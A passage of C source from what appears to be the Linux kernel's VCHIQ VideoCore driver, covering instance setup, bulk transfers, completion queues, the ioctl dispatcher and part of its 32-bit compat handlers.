"RELEASE_SERVICE", "SET_SERVICE_OPTION", "DUMP_PHYS_MEM", "LIB_VERSION", "CLOSE_DELIVERED" }; vchiq_static_assert(ARRAY_SIZE(ioctl_names) == (VCHIQ_IOC_MAX + 1)); static enum vchiq_status vchiq_blocking_bulk_transfer(unsigned int handle, void *data, unsigned int size, enum vchiq_bulk_dir dir); #define VCHIQ_INIT_RETRIES 10 enum vchiq_status vchiq_initialise(struct vchiq_instance **instance_out) { enum vchiq_status status = VCHIQ_ERROR; struct vchiq_state *state; struct vchiq_instance *instance = NULL; int i; vchiq_log_trace(vchiq_core_log_level, "%s called", __func__); /* VideoCore may not be ready due to boot up timing. * It may never be ready if kernel and firmware are mismatched,so don't * block forever. */ for (i = 0; i < VCHIQ_INIT_RETRIES; i++) { state = vchiq_get_state(); if (state) break; usleep_range(500, 600); } if (i == VCHIQ_INIT_RETRIES) { vchiq_log_error(vchiq_core_log_level, "%s: videocore not initialized\n", __func__); goto failed; } else if (i > 0) { vchiq_log_warning(vchiq_core_log_level, "%s: videocore initialized after %d retries\n", __func__, i); } instance = kzalloc(sizeof(*instance), GFP_KERNEL); if (!instance) { vchiq_log_error(vchiq_core_log_level, "%s: error allocating vchiq instance\n", __func__); goto failed; } instance->connected = 0; instance->state = state; mutex_init(&instance->bulk_waiter_list_mutex); INIT_LIST_HEAD(&instance->bulk_waiter_list); *instance_out = instance; status = VCHIQ_SUCCESS; failed: vchiq_log_trace(vchiq_core_log_level, "%s(%p): returning %d", __func__, instance, status); return status; } EXPORT_SYMBOL(vchiq_initialise); enum vchiq_status vchiq_shutdown(struct vchiq_instance *instance) { enum vchiq_status status; struct vchiq_state *state = instance->state; vchiq_log_trace(vchiq_core_log_level, "%s(%p) called", __func__, instance); if (mutex_lock_killable(&state->mutex)) return VCHIQ_RETRY; /* Remove all services */ status = vchiq_shutdown_internal(state, instance); mutex_unlock(&state->mutex); vchiq_log_trace(vchiq_core_log_level, "%s(%p): returning %d", __func__, instance, status); if (status == VCHIQ_SUCCESS) { struct bulk_waiter_node *waiter, *next; list_for_each_entry_safe(waiter, next, &instance->bulk_waiter_list, list) { list_del(&waiter->list); vchiq_log_info(vchiq_arm_log_level, "bulk_waiter - cleaned up %pK for pid %d", waiter, waiter->pid); kfree(waiter); } kfree(instance); } return status; } EXPORT_SYMBOL(vchiq_shutdown); static int vchiq_is_connected(struct vchiq_instance *instance) { return instance->connected; } enum vchiq_status vchiq_connect(struct vchiq_instance *instance) { enum vchiq_status status; struct vchiq_state *state = instance->state; vchiq_log_trace(vchiq_core_log_level, "%s(%p) called", __func__, instance); if (mutex_lock_killable(&state->mutex)) { vchiq_log_trace(vchiq_core_log_level, "%s: call to mutex_lock failed", __func__); status = VCHIQ_RETRY; goto failed; } status = vchiq_connect_internal(state, instance); if (status == VCHIQ_SUCCESS) instance->connected = 1; mutex_unlock(&state->mutex); failed: vchiq_log_trace(vchiq_core_log_level, "%s(%p): returning %d", __func__, instance, status); return status; } EXPORT_SYMBOL(vchiq_connect); static enum vchiq_status vchiq_add_service( struct vchiq_instance *instance, const struct vchiq_service_params *params, unsigned int *phandle) { enum vchiq_status status; struct vchiq_state *state = instance->state; struct vchiq_service *service = NULL; int srvstate; vchiq_log_trace(vchiq_core_log_level, "%s(%p) called", __func__, instance); *phandle = VCHIQ_SERVICE_HANDLE_INVALID; srvstate = vchiq_is_connected(instance) ? VCHIQ_SRVSTATE_LISTENING : VCHIQ_SRVSTATE_HIDDEN; service = vchiq_add_service_internal( state, params, srvstate, instance, NULL); if (service) { *phandle = service->handle; status = VCHIQ_SUCCESS; } else status = VCHIQ_ERROR; vchiq_log_trace(vchiq_core_log_level, "%s(%p): returning %d", __func__, instance, status); return status; } enum vchiq_status vchiq_open_service( struct vchiq_instance *instance, const struct vchiq_service_params *params, unsigned int *phandle) { enum vchiq_status status = VCHIQ_ERROR; struct vchiq_state *state = instance->state; struct vchiq_service *service = NULL; vchiq_log_trace(vchiq_core_log_level, "%s(%p) called", __func__, instance); *phandle = VCHIQ_SERVICE_HANDLE_INVALID; if (!vchiq_is_connected(instance)) goto failed; service = vchiq_add_service_internal(state, params, VCHIQ_SRVSTATE_OPENING, instance, NULL); if (service) { *phandle = service->handle; status = vchiq_open_service_internal(service, current->pid); if (status != VCHIQ_SUCCESS) { vchiq_remove_service(service->handle); *phandle = VCHIQ_SERVICE_HANDLE_INVALID; } } failed: vchiq_log_trace(vchiq_core_log_level, "%s(%p): returning %d", __func__, instance, status); return status; } EXPORT_SYMBOL(vchiq_open_service); enum vchiq_status vchiq_bulk_transmit(unsigned int handle, const void *data, unsigned int size, void *userdata, enum vchiq_bulk_mode mode) { enum vchiq_status status; while (1) { switch (mode) { case VCHIQ_BULK_MODE_NOCALLBACK: case VCHIQ_BULK_MODE_CALLBACK: status = vchiq_bulk_transfer(handle, (void *)data, size, userdata, mode, VCHIQ_BULK_TRANSMIT); break; case VCHIQ_BULK_MODE_BLOCKING: status = vchiq_blocking_bulk_transfer(handle, (void *)data, size, VCHIQ_BULK_TRANSMIT); break; default: return VCHIQ_ERROR; } /* * vchiq_*_bulk_transfer() may return VCHIQ_RETRY, so we need * to implement a retry mechanism since this function is * supposed to block until queued */ if (status != VCHIQ_RETRY) break; msleep(1); } return status; } EXPORT_SYMBOL(vchiq_bulk_transmit); enum vchiq_status vchiq_bulk_receive(unsigned int handle, void *data, unsigned int size, void *userdata, enum vchiq_bulk_mode mode) { enum vchiq_status status; while (1) { switch (mode) { case VCHIQ_BULK_MODE_NOCALLBACK: case VCHIQ_BULK_MODE_CALLBACK: status = vchiq_bulk_transfer(handle, data, size, userdata, mode, VCHIQ_BULK_RECEIVE); break; case VCHIQ_BULK_MODE_BLOCKING: status = vchiq_blocking_bulk_transfer(handle, (void *)data, size, VCHIQ_BULK_RECEIVE); break; default: return VCHIQ_ERROR; } /* * vchiq_*_bulk_transfer() may return VCHIQ_RETRY, so we need * to implement a retry mechanism since this function is * supposed to block until queued */ if (status != VCHIQ_RETRY) break; msleep(1); } return status; } EXPORT_SYMBOL(vchiq_bulk_receive); static enum vchiq_status vchiq_blocking_bulk_transfer(unsigned int handle, void *data, unsigned int size, enum vchiq_bulk_dir dir) { struct vchiq_instance *instance; struct vchiq_service *service; enum vchiq_status status; struct bulk_waiter_node *waiter = NULL; service = find_service_by_handle(handle); if (!service) return VCHIQ_ERROR; instance = service->instance; unlock_service(service); mutex_lock(&instance->bulk_waiter_list_mutex); list_for_each_entry(waiter, &instance->bulk_waiter_list, list) { if (waiter->pid == current->pid) { list_del(&waiter->list); break; } } mutex_unlock(&instance->bulk_waiter_list_mutex); if (waiter) { struct vchiq_bulk *bulk = waiter->bulk_waiter.bulk; if (bulk) { /* This thread has an outstanding bulk transfer. */ if ((bulk->data != data) || (bulk->size != size)) { /* This is not a retry of the previous one. * Cancel the signal when the transfer * completes. */ spin_lock(&bulk_waiter_spinlock); bulk->userdata = NULL; spin_unlock(&bulk_waiter_spinlock); } } } if (!waiter) { waiter = kzalloc(sizeof(struct bulk_waiter_node), GFP_KERNEL); if (!waiter) { vchiq_log_error(vchiq_core_log_level, "%s - out of memory", __func__); return VCHIQ_ERROR; } } status = vchiq_bulk_transfer(handle, data, size, &waiter->bulk_waiter, VCHIQ_BULK_MODE_BLOCKING, dir); if ((status != VCHIQ_RETRY) || fatal_signal_pending(current) || !waiter->bulk_waiter.bulk) { struct vchiq_bulk *bulk = waiter->bulk_waiter.bulk; if (bulk) { /* Cancel the signal when the transfer * completes. */ spin_lock(&bulk_waiter_spinlock); bulk->userdata = NULL; spin_unlock(&bulk_waiter_spinlock); } kfree(waiter); } else { waiter->pid = current->pid; mutex_lock(&instance->bulk_waiter_list_mutex); list_add(&waiter->list, &instance->bulk_waiter_list); mutex_unlock(&instance->bulk_waiter_list_mutex); vchiq_log_info(vchiq_arm_log_level, "saved bulk_waiter %pK for pid %d", waiter, current->pid); } return status; } /**************************************************************************** * * add_completion * ***************************************************************************/ static enum vchiq_status add_completion(struct vchiq_instance *instance, enum vchiq_reason reason, struct vchiq_header *header, struct user_service *user_service, void *bulk_userdata) { struct vchiq_completion_data *completion; int insert; DEBUG_INITIALISE(g_state.local) insert = instance->completion_insert; while ((insert - instance->completion_remove) >= MAX_COMPLETIONS) { /* Out of space - wait for the client */ DEBUG_TRACE(SERVICE_CALLBACK_LINE); vchiq_log_trace(vchiq_arm_log_level, "%s - completion queue full", __func__); DEBUG_COUNT(COMPLETION_QUEUE_FULL_COUNT); if (wait_for_completion_interruptible( &instance->remove_event)) { vchiq_log_info(vchiq_arm_log_level, "service_callback interrupted"); return VCHIQ_RETRY; } else if (instance->closing) { vchiq_log_info(vchiq_arm_log_level, "service_callback closing"); return VCHIQ_SUCCESS; } DEBUG_TRACE(SERVICE_CALLBACK_LINE); } completion = &instance->completions[insert & (MAX_COMPLETIONS - 1)]; completion->header = header; completion->reason = reason; /* N.B. service_userdata is updated while processing AWAIT_COMPLETION */ completion->service_userdata = user_service->service; completion->bulk_userdata = bulk_userdata; if (reason == VCHIQ_SERVICE_CLOSED) { /* Take an extra reference, to be held until this CLOSED notification is delivered. */ lock_service(user_service->service); if (instance->use_close_delivered) user_service->close_pending = 1; } /* A write barrier is needed here to ensure that the entire completion record is written out before the insert point. */ wmb(); if (reason == VCHIQ_MESSAGE_AVAILABLE) user_service->message_available_pos = insert; insert++; instance->completion_insert = insert; complete(&instance->insert_event); return VCHIQ_SUCCESS; } /**************************************************************************** * * service_callback * ***************************************************************************/ static enum vchiq_status service_callback(enum vchiq_reason reason, struct vchiq_header *header, unsigned int handle, void *bulk_userdata) { /* How do we ensure the callback goes to the right client? ** The service_user data points to a user_service record ** containing the original callback and the user state structure, which ** contains a circular buffer for completion records. */ struct user_service *user_service; struct vchiq_service *service; struct vchiq_instance *instance; bool skip_completion = false; DEBUG_INITIALISE(g_state.local) DEBUG_TRACE(SERVICE_CALLBACK_LINE); service = handle_to_service(handle); BUG_ON(!service); user_service = (struct user_service *)service->base.userdata; instance = user_service->instance; if (!instance || instance->closing) return VCHIQ_SUCCESS; vchiq_log_trace(vchiq_arm_log_level, "%s - service %lx(%d,%p), reason %d, header %lx, " "instance %lx, bulk_userdata %lx", __func__, (unsigned long)user_service, service->localport, user_service->userdata, reason, (unsigned long)header, (unsigned long)instance, (unsigned long)bulk_userdata); if (header && user_service->is_vchi) { spin_lock(&msg_queue_spinlock); while (user_service->msg_insert == (user_service->msg_remove + MSG_QUEUE_SIZE)) { spin_unlock(&msg_queue_spinlock); DEBUG_TRACE(SERVICE_CALLBACK_LINE); DEBUG_COUNT(MSG_QUEUE_FULL_COUNT); vchiq_log_trace(vchiq_arm_log_level, "service_callback - msg queue full"); /* If there is no MESSAGE_AVAILABLE in the completion ** queue, add one */ if ((user_service->message_available_pos - instance->completion_remove) < 0) { enum vchiq_status status; vchiq_log_info(vchiq_arm_log_level, "Inserting extra MESSAGE_AVAILABLE"); DEBUG_TRACE(SERVICE_CALLBACK_LINE); status = add_completion(instance, reason, NULL, user_service, bulk_userdata); if (status != VCHIQ_SUCCESS) { DEBUG_TRACE(SERVICE_CALLBACK_LINE); return status; } } DEBUG_TRACE(SERVICE_CALLBACK_LINE); if (wait_for_completion_interruptible( &user_service->remove_event)) { vchiq_log_info(vchiq_arm_log_level, "%s interrupted", __func__); DEBUG_TRACE(SERVICE_CALLBACK_LINE); return VCHIQ_RETRY; } else if (instance->closing) { vchiq_log_info(vchiq_arm_log_level, "%s closing", __func__); DEBUG_TRACE(SERVICE_CALLBACK_LINE); return VCHIQ_ERROR; } DEBUG_TRACE(SERVICE_CALLBACK_LINE); spin_lock(&msg_queue_spinlock); } user_service->msg_queue[user_service->msg_insert & (MSG_QUEUE_SIZE - 1)] = header; user_service->msg_insert++; /* If there is a thread waiting in DEQUEUE_MESSAGE, or if ** there is a MESSAGE_AVAILABLE in the completion queue then ** bypass the completion queue. */ if (((user_service->message_available_pos - instance->completion_remove) >= 0) || user_service->dequeue_pending) { user_service->dequeue_pending = 0; skip_completion = true; } spin_unlock(&msg_queue_spinlock); complete(&user_service->insert_event); header = NULL; } DEBUG_TRACE(SERVICE_CALLBACK_LINE); if (skip_completion) return VCHIQ_SUCCESS; return add_completion(instance, reason, header, user_service, bulk_userdata); } /**************************************************************************** * * user_service_free * ***************************************************************************/ static void user_service_free(void *userdata) { kfree(userdata); } /**************************************************************************** * * close_delivered * ***************************************************************************/ static void close_delivered(struct user_service *user_service) { vchiq_log_info(vchiq_arm_log_level, "%s(handle=%x)", __func__, user_service->service->handle); if (user_service->close_pending) { /* Allow the underlying service to be culled */ unlock_service(user_service->service); /* Wake the user-thread blocked in close_ or remove_service */ complete(&user_service->close_event); user_service->close_pending = 0; } } struct vchiq_io_copy_callback_context { struct vchiq_element *element; size_t element_offset; unsigned long elements_to_go; }; static ssize_t vchiq_ioc_copy_element_data(void *context, void *dest, size_t offset, size_t maxsize) { struct vchiq_io_copy_callback_context *cc = context; size_t total_bytes_copied = 0; size_t bytes_this_round; while (total_bytes_copied < maxsize) { if (!cc->elements_to_go) return total_bytes_copied; if (!cc->element->size) { cc->elements_to_go--; cc->element++; cc->element_offset = 0; continue; } bytes_this_round = min(cc->element->size - cc->element_offset, maxsize - total_bytes_copied); if (copy_from_user(dest + total_bytes_copied, cc->element->data + cc->element_offset, bytes_this_round)) return -EFAULT; cc->element_offset += bytes_this_round; total_bytes_copied += bytes_this_round; if (cc->element_offset == cc->element->size) { cc->elements_to_go--; cc->element++; cc->element_offset = 0; } } return maxsize; } /************************************************************************** * * vchiq_ioc_queue_message * **************************************************************************/ static enum vchiq_status vchiq_ioc_queue_message(unsigned int handle, struct vchiq_element *elements, unsigned long count) { struct vchiq_io_copy_callback_context context; unsigned long i; size_t total_size = 0; context.element = elements; context.element_offset = 0; context.elements_to_go = count; for (i = 0; i < count; i++) { if (!elements[i].data && elements[i].size != 0) return -EFAULT; total_size += elements[i].size; } return vchiq_queue_message(handle, vchiq_ioc_copy_element_data, &context, total_size); } /**************************************************************************** * * vchiq_ioctl * ***************************************************************************/ static long vchiq_ioctl(struct file *file, unsigned int cmd, unsigned long arg) { struct vchiq_instance *instance = file->private_data; enum vchiq_status status = VCHIQ_SUCCESS; struct vchiq_service *service = NULL; long ret = 0; int i, rc; DEBUG_INITIALISE(g_state.local) vchiq_log_trace(vchiq_arm_log_level, "%s - instance %pK, cmd %s, arg %lx", __func__, instance, ((_IOC_TYPE(cmd) == VCHIQ_IOC_MAGIC) && (_IOC_NR(cmd) <= VCHIQ_IOC_MAX)) ? ioctl_names[_IOC_NR(cmd)] : "<invalid>", arg); switch (cmd) { case VCHIQ_IOC_SHUTDOWN: if (!instance->connected) break; /* Remove all services */ i = 0; while ((service = next_service_by_instance(instance->state, instance, &i))) { status = vchiq_remove_service(service->handle); unlock_service(service); if (status != VCHIQ_SUCCESS) break; } service = NULL; if (status == VCHIQ_SUCCESS) { /* Wake the completion thread and ask it to exit */ instance->closing = 1; complete(&instance->insert_event); } break; case VCHIQ_IOC_CONNECT: if (instance->connected) { ret = -EINVAL; break; } rc = mutex_lock_killable(&instance->state->mutex); if (rc) { vchiq_log_error(vchiq_arm_log_level, "vchiq: connect: could not lock mutex for " "state %d: %d", instance->state->id, rc); ret = -EINTR; break; } status = vchiq_connect_internal(instance->state, instance); mutex_unlock(&instance->state->mutex); if (status == VCHIQ_SUCCESS) instance->connected = 1; else vchiq_log_error(vchiq_arm_log_level, "vchiq: could not connect: %d", status); break; case VCHIQ_IOC_CREATE_SERVICE: { struct vchiq_create_service args; struct user_service *user_service = NULL; void *userdata; int srvstate; if (copy_from_user(&args, (const void __user *)arg, sizeof(args))) { ret = -EFAULT; break; } user_service = kmalloc(sizeof(*user_service), GFP_KERNEL); if (!user_service) { ret = -ENOMEM; break; } if (args.is_open) { if (!instance->connected) { ret = -ENOTCONN; kfree(user_service); break; } srvstate = VCHIQ_SRVSTATE_OPENING; } else { srvstate = instance->connected ? VCHIQ_SRVSTATE_LISTENING : VCHIQ_SRVSTATE_HIDDEN; } userdata = args.params.userdata; args.params.callback = service_callback; args.params.userdata = user_service; service = vchiq_add_service_internal( instance->state, &args.params, srvstate, instance, user_service_free); if (service) { user_service->service = service; user_service->userdata = userdata; user_service->instance = instance; user_service->is_vchi = (args.is_vchi != 0); user_service->dequeue_pending = 0; user_service->close_pending = 0; user_service->message_available_pos = instance->completion_remove - 1; user_service->msg_insert = 0; user_service->msg_remove = 0; init_completion(&user_service->insert_event); init_completion(&user_service->remove_event); init_completion(&user_service->close_event); if (args.is_open) { status = vchiq_open_service_internal (service, instance->pid); if (status != VCHIQ_SUCCESS) { vchiq_remove_service(service->handle); service = NULL; ret = (status == VCHIQ_RETRY) ? -EINTR : -EIO; break; } } if (copy_to_user((void __user *) &(((struct vchiq_create_service __user *) arg)->handle), (const void *)&service->handle, sizeof(service->handle))) { ret = -EFAULT; vchiq_remove_service(service->handle); } service = NULL; } else { ret = -EEXIST; kfree(user_service); } } break; case VCHIQ_IOC_CLOSE_SERVICE: case VCHIQ_IOC_REMOVE_SERVICE: { unsigned int handle = (unsigned int)arg; struct user_service *user_service; service = find_service_for_instance(instance, handle); if (!service) { ret = -EINVAL; break; } user_service = service->base.userdata; /* close_pending is false on first entry, and when the wait in vchiq_close_service has been interrupted. */ if (!user_service->close_pending) { status = (cmd == VCHIQ_IOC_CLOSE_SERVICE) ? vchiq_close_service(service->handle) : vchiq_remove_service(service->handle); if (status != VCHIQ_SUCCESS) break; } /* close_pending is true once the underlying service has been closed until the client library calls the CLOSE_DELIVERED ioctl, signalling close_event. */ if (user_service->close_pending && wait_for_completion_interruptible( &user_service->close_event)) status = VCHIQ_RETRY; break; } case VCHIQ_IOC_USE_SERVICE: case VCHIQ_IOC_RELEASE_SERVICE: { unsigned int handle = (unsigned int)arg; service = find_service_for_instance(instance, handle); if (service) { status = (cmd == VCHIQ_IOC_USE_SERVICE) ? vchiq_use_service_internal(service) : vchiq_release_service_internal(service); if (status != VCHIQ_SUCCESS) { vchiq_log_error(vchiq_susp_log_level, "%s: cmd %s returned error %d for " "service %c%c%c%c:%03d", __func__, (cmd == VCHIQ_IOC_USE_SERVICE) ? "VCHIQ_IOC_USE_SERVICE" : "VCHIQ_IOC_RELEASE_SERVICE", status, VCHIQ_FOURCC_AS_4CHARS( service->base.fourcc), service->client_id); ret = -EINVAL; } } else ret = -EINVAL; } break; case VCHIQ_IOC_QUEUE_MESSAGE: { struct vchiq_queue_message args; if (copy_from_user(&args, (const void __user *)arg, sizeof(args))) { ret = -EFAULT; break; } service = find_service_for_instance(instance, args.handle); if (service && (args.count <= MAX_ELEMENTS)) { /* Copy elements into kernel space */ struct vchiq_element elements[MAX_ELEMENTS]; if (copy_from_user(elements, args.elements, args.count * sizeof(struct vchiq_element)) == 0) status = vchiq_ioc_queue_message (args.handle, elements, args.count); else ret = -EFAULT; } else { ret = -EINVAL; } } break; case VCHIQ_IOC_QUEUE_BULK_TRANSMIT: case VCHIQ_IOC_QUEUE_BULK_RECEIVE: { struct vchiq_queue_bulk_transfer args; struct bulk_waiter_node *waiter = NULL; enum vchiq_bulk_dir dir = (cmd == VCHIQ_IOC_QUEUE_BULK_TRANSMIT) ? VCHIQ_BULK_TRANSMIT : VCHIQ_BULK_RECEIVE; if (copy_from_user(&args, (const void __user *)arg, sizeof(args))) { ret = -EFAULT; break; } service = find_service_for_instance(instance, args.handle); if (!service) { ret = -EINVAL; break; } if (args.mode == VCHIQ_BULK_MODE_BLOCKING) { waiter = kzalloc(sizeof(struct bulk_waiter_node), GFP_KERNEL); if (!waiter) { ret = -ENOMEM; break; } args.userdata = &waiter->bulk_waiter; } else if (args.mode == VCHIQ_BULK_MODE_WAITING) { mutex_lock(&instance->bulk_waiter_list_mutex); list_for_each_entry(waiter, &instance->bulk_waiter_list, list) { if (waiter->pid == current->pid) { list_del(&waiter->list); break; } } mutex_unlock(&instance->bulk_waiter_list_mutex); if (!waiter) { vchiq_log_error(vchiq_arm_log_level, "no bulk_waiter found for pid %d", current->pid); ret = -ESRCH; break; } vchiq_log_info(vchiq_arm_log_level, "found bulk_waiter %pK for pid %d", waiter, current->pid); args.userdata = &waiter->bulk_waiter; } status = vchiq_bulk_transfer(args.handle, args.data, args.size, args.userdata, args.mode, dir); if (!waiter) break; if ((status != VCHIQ_RETRY) || fatal_signal_pending(current) || !waiter->bulk_waiter.bulk) { if (waiter->bulk_waiter.bulk) { /* Cancel the signal when the transfer ** completes. */ spin_lock(&bulk_waiter_spinlock); waiter->bulk_waiter.bulk->userdata = NULL; spin_unlock(&bulk_waiter_spinlock); } kfree(waiter); } else { const enum vchiq_bulk_mode mode_waiting = VCHIQ_BULK_MODE_WAITING; waiter->pid = current->pid; mutex_lock(&instance->bulk_waiter_list_mutex); list_add(&waiter->list, &instance->bulk_waiter_list); mutex_unlock(&instance->bulk_waiter_list_mutex); vchiq_log_info(vchiq_arm_log_level, "saved bulk_waiter %pK for pid %d", waiter, current->pid); if (copy_to_user((void __user *) &(((struct vchiq_queue_bulk_transfer __user *) arg)->mode), (const void *)&mode_waiting, sizeof(mode_waiting))) ret = -EFAULT; } } break; case VCHIQ_IOC_AWAIT_COMPLETION: { struct vchiq_await_completion args; DEBUG_TRACE(AWAIT_COMPLETION_LINE); if (!instance->connected) { ret = -ENOTCONN; break; } if (copy_from_user(&args, (const void __user *)arg, sizeof(args))) { ret = -EFAULT; break; } mutex_lock(&instance->completion_mutex); DEBUG_TRACE(AWAIT_COMPLETION_LINE); while ((instance->completion_remove == instance->completion_insert) && !instance->closing) { int rc; DEBUG_TRACE(AWAIT_COMPLETION_LINE); mutex_unlock(&instance->completion_mutex); rc = wait_for_completion_interruptible( &instance->insert_event); mutex_lock(&instance->completion_mutex); if (rc) { DEBUG_TRACE(AWAIT_COMPLETION_LINE); vchiq_log_info(vchiq_arm_log_level, "AWAIT_COMPLETION interrupted"); ret = -EINTR; break; } } DEBUG_TRACE(AWAIT_COMPLETION_LINE); if (ret == 0) { int msgbufcount = args.msgbufcount; int remove = instance->completion_remove; for (ret = 0; ret < args.count; ret++) { struct vchiq_completion_data *completion; struct vchiq_service *service; struct user_service *user_service; struct vchiq_header *header; if (remove == instance->completion_insert) break; completion = &instance->completions[ remove & (MAX_COMPLETIONS - 1)]; /* * A read memory barrier is needed to stop * prefetch of a stale completion record */ rmb(); service = completion->service_userdata; user_service = service->base.userdata; completion->service_userdata = user_service->userdata; header = completion->header; if (header) { void __user *msgbuf; int msglen; msglen = header->size + sizeof(struct vchiq_header); /* This must be a VCHIQ-style service */ if (args.msgbufsize < msglen) { vchiq_log_error( vchiq_arm_log_level, "header %pK: msgbufsize %x < msglen %x", header, args.msgbufsize, msglen); WARN(1, "invalid message " "size\n"); if (ret == 0) ret = -EMSGSIZE; break; } if (msgbufcount <= 0) /* Stall here for lack of a ** buffer for the message. */ break; /* Get the pointer from user space */ msgbufcount--; if (copy_from_user(&msgbuf, (const void __user *) &args.msgbufs[msgbufcount], sizeof(msgbuf))) { if (ret == 0) ret = -EFAULT; break; } /* Copy the message to user space */ if (copy_to_user(msgbuf, header, msglen)) { if (ret == 0) ret = -EFAULT; break; } /* Now it has been copied, the message ** can be released. */ vchiq_release_message(service->handle, header); /* The completion must point to the ** msgbuf. */ completion->header = (struct vchiq_header __force *) msgbuf; } if ((completion->reason == VCHIQ_SERVICE_CLOSED) && !instance->use_close_delivered) unlock_service(service); if (copy_to_user((void __user *)( (size_t)args.buf + ret * sizeof(struct vchiq_completion_data)), completion, sizeof(struct vchiq_completion_data))) { if (ret == 0) ret = -EFAULT; break; } /* * Ensure that the above copy has completed * before advancing the remove pointer. */ mb(); remove++; instance->completion_remove = remove; } if (msgbufcount != args.msgbufcount) { if (copy_to_user((void __user *) &((struct vchiq_await_completion *)arg) ->msgbufcount, &msgbufcount, sizeof(msgbufcount))) { ret = -EFAULT; } } } if (ret) complete(&instance->remove_event); mutex_unlock(&instance->completion_mutex); DEBUG_TRACE(AWAIT_COMPLETION_LINE); } break; case VCHIQ_IOC_DEQUEUE_MESSAGE: { struct vchiq_dequeue_message args; struct user_service *user_service; struct vchiq_header *header; DEBUG_TRACE(DEQUEUE_MESSAGE_LINE); if (copy_from_user(&args, (const void __user *)arg, sizeof(args))) { ret = -EFAULT; break; } service = find_service_for_instance(instance, args.handle); if (!service) { ret = -EINVAL; break; } user_service = (struct user_service *)service->base.userdata; if (user_service->is_vchi == 0) { ret = -EINVAL; break; } spin_lock(&msg_queue_spinlock); if (user_service->msg_remove == user_service->msg_insert) { if (!args.blocking) { spin_unlock(&msg_queue_spinlock); DEBUG_TRACE(DEQUEUE_MESSAGE_LINE); ret = -EWOULDBLOCK; break; } user_service->dequeue_pending = 1; do { spin_unlock(&msg_queue_spinlock); DEBUG_TRACE(DEQUEUE_MESSAGE_LINE); if (wait_for_completion_interruptible( &user_service->insert_event)) { vchiq_log_info(vchiq_arm_log_level, "DEQUEUE_MESSAGE interrupted"); ret = -EINTR; break; } spin_lock(&msg_queue_spinlock); } while (user_service->msg_remove == user_service->msg_insert); if (ret) break; } BUG_ON((int)(user_service->msg_insert - user_service->msg_remove) < 0); header = user_service->msg_queue[user_service->msg_remove & (MSG_QUEUE_SIZE - 1)]; user_service->msg_remove++; spin_unlock(&msg_queue_spinlock); complete(&user_service->remove_event); if (!header) ret = -ENOTCONN; else if (header->size <= args.bufsize) { /* Copy to user space if msgbuf is not NULL */ if (!args.buf || (copy_to_user((void __user *)args.buf, header->data, header->size) == 0)) { ret = header->size; vchiq_release_message( service->handle, header); } else ret = -EFAULT; } else { vchiq_log_error(vchiq_arm_log_level, "header %pK: bufsize %x < size %x", header, args.bufsize, header->size); WARN(1, "invalid size\n"); ret = -EMSGSIZE; } DEBUG_TRACE(DEQUEUE_MESSAGE_LINE); } break; case VCHIQ_IOC_GET_CLIENT_ID: { unsigned int handle = (unsigned int)arg; ret = vchiq_get_client_id(handle); } break; case VCHIQ_IOC_GET_CONFIG: { struct vchiq_get_config args; struct vchiq_config config; if (copy_from_user(&args, (const void __user *)arg, sizeof(args))) { ret = -EFAULT; break; } if (args.config_size > sizeof(config)) { ret = -EINVAL; break; } vchiq_get_config(&config); if (copy_to_user(args.pconfig, &config, args.config_size)) { ret = -EFAULT; break; } } break; case VCHIQ_IOC_SET_SERVICE_OPTION: { struct vchiq_set_service_option args; if (copy_from_user(&args, (const void __user *)arg, sizeof(args))) { ret = -EFAULT; break; } service = find_service_for_instance(instance, args.handle); if (!service) { ret = -EINVAL; break; } status = vchiq_set_service_option( args.handle, args.option, args.value); } break; case VCHIQ_IOC_LIB_VERSION: { unsigned int lib_version = (unsigned int)arg; if (lib_version < VCHIQ_VERSION_MIN) ret = -EINVAL; else if (lib_version >= VCHIQ_VERSION_CLOSE_DELIVERED) instance->use_close_delivered = 1; } break; case VCHIQ_IOC_CLOSE_DELIVERED: { unsigned int handle = (unsigned int)arg; service = find_closed_service_for_instance(instance, handle); if (service) { struct user_service *user_service = (struct user_service *)service->base.userdata; close_delivered(user_service); } else ret = -EINVAL; } break; default: ret = -ENOTTY; break; } if (service) unlock_service(service); if (ret == 0) { if (status == VCHIQ_ERROR) ret = -EIO; else if (status == VCHIQ_RETRY) ret = -EINTR; } if ((status == VCHIQ_SUCCESS) && (ret < 0) && (ret != -EINTR) && (ret != -EWOULDBLOCK)) vchiq_log_info(vchiq_arm_log_level, " ioctl instance %pK, cmd %s -> status %d, %ld", instance, (_IOC_NR(cmd) <= VCHIQ_IOC_MAX) ? ioctl_names[_IOC_NR(cmd)] : "<invalid>", status, ret); else vchiq_log_trace(vchiq_arm_log_level, " ioctl instance %pK, cmd %s -> status %d, %ld", instance, (_IOC_NR(cmd) <= VCHIQ_IOC_MAX) ? ioctl_names[_IOC_NR(cmd)] : "<invalid>", status, ret); return ret; } #if defined(CONFIG_COMPAT) struct vchiq_service_params32 { int fourcc; compat_uptr_t callback; compat_uptr_t userdata; short version; /* Increment for non-trivial changes */ short version_min; /* Update for incompatible changes */ }; struct vchiq_create_service32 { struct vchiq_service_params32 params; int is_open; int is_vchi; unsigned int handle; /* OUT */ }; #define VCHIQ_IOC_CREATE_SERVICE32 \ _IOWR(VCHIQ_IOC_MAGIC, 2, struct vchiq_create_service32) static long vchiq_compat_ioctl_create_service( struct file *file, unsigned int cmd, unsigned long arg) { struct vchiq_create_service __user *args; struct vchiq_create_service32 __user *ptrargs32 = (struct vchiq_create_service32 __user *)arg; struct vchiq_create_service32 args32; long ret; args = compat_alloc_user_space(sizeof(*args)); if (!args) return -EFAULT; if (copy_from_user(&args32, ptrargs32, sizeof(args32))) return -EFAULT; if (put_user(args32.params.fourcc, &args->params.fourcc) || put_user(compat_ptr(args32.params.callback), &args->params.callback) || put_user(compat_ptr(args32.params.userdata), &args->params.userdata) || put_user(args32.params.version, &args->params.version) || put_user(args32.params.version_min, &args->params.version_min) || put_user(args32.is_open, &args->is_open) || put_user(args32.is_vchi, &args->is_vchi) || put_user(args32.handle, &args->handle)) return -EFAULT; ret = vchiq_ioctl(file, VCHIQ_IOC_CREATE_SERVICE, (unsigned long)args); if (ret < 0) return ret; if (get_user(args32.handle, &args->handle)) return -EFAULT; if (copy_to_user(&ptrargs32->handle, &args32.handle, sizeof(args32.handle))) return -EFAULT; return 0; } struct vchiq_element32 { compat_uptr_t data; unsigned int size; }; struct vchiq_queue_message32 { unsigned int handle; unsigned int count; compat_uptr_t elements; }; #define VCHIQ_IOC_QUEUE_MESSAGE32 \ _IOW(VCHIQ_IOC_MAGIC, 4, struct vchiq_queue_message32) static long vchiq_compat_ioctl_queue_message(struct file *file, unsigned int cmd, unsigned long arg) { struct vchiq_queue_message __user *args; struct 